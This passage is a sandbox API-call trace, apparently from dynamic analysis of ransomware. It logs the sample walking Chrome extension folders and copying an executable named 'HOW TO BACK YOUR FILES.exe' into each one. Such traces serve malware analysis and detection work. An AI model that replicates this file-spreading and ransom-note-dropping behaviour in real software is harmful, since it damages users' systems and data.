	[0049.033] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca"
	[0049.033] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca"
	[0049.033] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.033] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.037] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.037] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ca\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84062460, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x354d7590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x354d7590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.037] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.037] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.037] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg"
	[0049.037] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg"
	[0049.037] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.038] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.041] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.041] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\bg\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x840512f0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x354d7590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x354d7590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.041] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.041] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.041] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar"
	[0049.041] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar"
	[0049.041] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.041] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.045] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.045] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\felcaaldnbdncclmgdcncolpebgiejap\\1.1_0\\_locales\\ar\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x84036540, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x354d7590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x354d7590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.045] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.045] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.046] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo"
	[0049.046] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo"
	[0049.046] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.046] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.054] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.054] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81a42ff0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x354d7590, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x354d7590, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.054] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.054] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.054] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0"
	[0049.054] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0"
	[0049.054] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.054] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.075] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.075] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35523850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35523850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.075] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.075] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.075] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata"
	[0049.075] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata"
	[0049.075] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.075] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.079] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.079] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_metadata\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x35523850, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x35523850, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.079] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.079] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.079] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales"
	[0049.079] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales"
	[0049.079] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.079] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.086] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.086] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x851f1e10, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x355499b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x355499b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.086] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.086] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.086] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW"
	[0049.086] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW"
	[0049.086] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.086] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_tw\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.091] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0049.091] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_TW\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x85348a70, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x355499b0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x355499b0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca050
	[0049.091] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0049.091] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0049.091] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN", iMaxLength=260 | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN"
	[0049.091] lstrcatW (in: lpString1="", lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN"
	[0049.091] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0049.091] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_CN\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\blpcfgokakmgnkcojhhkbfbldkacnbeo\\4.2.8_0\\_locales\\zh_cn\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0049.095] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
